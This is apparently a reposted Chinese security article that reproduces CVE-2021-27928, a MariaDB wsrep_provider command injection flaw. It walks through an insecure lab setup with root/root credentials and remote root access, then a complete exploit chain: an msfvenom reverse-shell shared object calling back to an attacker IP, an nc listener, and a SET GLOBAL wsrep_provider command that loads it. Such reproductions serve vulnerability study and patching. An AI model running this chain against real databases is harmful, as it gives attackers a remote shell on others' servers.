前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021-27928:MariaDB/MySQL-wsrep provider命令注入漏洞

CVE-2021-27928:MariaDB/MySQL-wsrep provider命令注入漏洞

作者头像
Al1ex
发布2021-07-21 16:57:42
3.4K1
发布2021-07-21 16:57:42
举报
文章被收录于专栏:网络安全攻防
影响范围
  • MariaDB 10.2 before 10.2.37
  • MariaDB 10.3 before 10.3.28
  • MariaDB 10.4 before 10.4.18
  • MariaDB 10.5 before 10.5.9
漏洞类型

命令注入漏洞

利用条件

数据库超级用户

漏洞概述

2021年3月17号,MariaDB官方发布的安全通告中修复了一处命令注入漏洞,具备数据库超级用户可以在修改wsrep_provider和wsrep_notify_cmd后执行OS命令。

漏洞复现
环境搭建

首先,访问Mariadb官方下载存在漏洞版本的安装包:

https://downloads.mariadb.org/mariadb/10.3.27/

之后将下载好的文件传到服务器上:

在安装包所在目录执行以下命令把安装包解压到/usr/local目录下

代码语言:javascript
复制
sudo tar xvf mariadb-10.3.27-linux-x86_64.tar.gz -C /usr/local

之后进入到解压文件目录中

这里的mariadb的目录名不符合要求,我们可以直接修改名字,也可以创建一个软连接,这里采用软连接方式:

代码语言:javascript
复制
sudo ln -s mariadb-10.3.27-linux-x86_64/ mysql

之后创建mysql用户

代码语言:javascript
复制
删除用户:userdel mysql
删除用户组:groupdel mysql
删除邮箱:rm -rf /var/spool/mail/mysql
创建mysql用户组:useradd -s /sbin/nologin -M mysql

之后赋予用户权限:

代码语言:javascript
复制
sudo chown -R mysql:mysql .

指定数据库文件目录

代码语言:javascript
复制
sudo mkdir /usr/maria_data
sudo chown -R mysql:mysql /usr/maria_data

初始化数据库(操作路径/usr/local/mysql)

代码语言:javascript
复制
sudo ./scripts/mysql_install_db --user=mysql --datadir=/usr/maria_data

配置启动脚本(操作路径/usr/local/mysql)

代码语言:javascript
复制
cp ./support-files/mysql.server /etc/init.d/mysqld
chmod +x /etc/init.d/mysqld

编辑配置脚本,填写一下内容:

代码语言:javascript
复制
basedir=/usr/local/mysql
datadir=/usr/maria_data

配置环境变量:

代码语言:javascript
复制
echo 'export PATH=/usr/local/mysql/bin:$PATH' >  /etc/profile.d/mysql.sh
source /etc/profile.d/mysql.sh

进入/usr/local/mysql/support-files找到配置文件wsrep.cnf,添加如下内容

代码语言:javascript
复制
log_bin=mysql-bin
skip_name_resolve=on

启动服务:

代码语言:javascript
复制
sysv-rc-conf mysqld on

设置数据库密码以及允许远程登录

代码语言:javascript
复制
#选择mysql 数据库
use mysql;


#更改 root 用户密码
update user set password=PASSWORD("root")where user="root";


#更新权限
flush privileges;


#设置任何远程主机都可以访问数据库
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;


#更新权限
flush privileges;

测试远程访问:

漏洞利用

Step 1:使用MSF生成载荷

代码语言:javascript
复制
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.174.129 LPORT=4444 -f elf-so -o CVE-2021-27928.so

Step 2:开启NC监听

代码语言:javascript
复制
nc -lvp <port>
nc -lvp 4444

Step 3:将payload复制到目标主机(可以通过SCP或SSH方式)

代码语言:javascript
复制
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so
scp CVE-2021-27928.so ubuntu@192.168.174.166:/tmp/CVE-2021-27928.so

Step 4:执行以下命令,之后成功反弹shell回来:

代码语言:javascript
复制
mysql -u root -p -h 192.168.174.166 -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'
安全建议

升级到安全版本

参考链接

https://www.exploit-db.com/exploits/49765

https://jira.mariadb.org/browse/MDEV-25179

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27928

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-04-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 影响范围
  • 漏洞类型
  • 利用条件
  • 漏洞概述
  • 漏洞复现
    • 环境搭建
      • 漏洞利用
      • 安全建议
      • 参考链接
      相关产品与服务
      云数据库 SQL Server
      腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档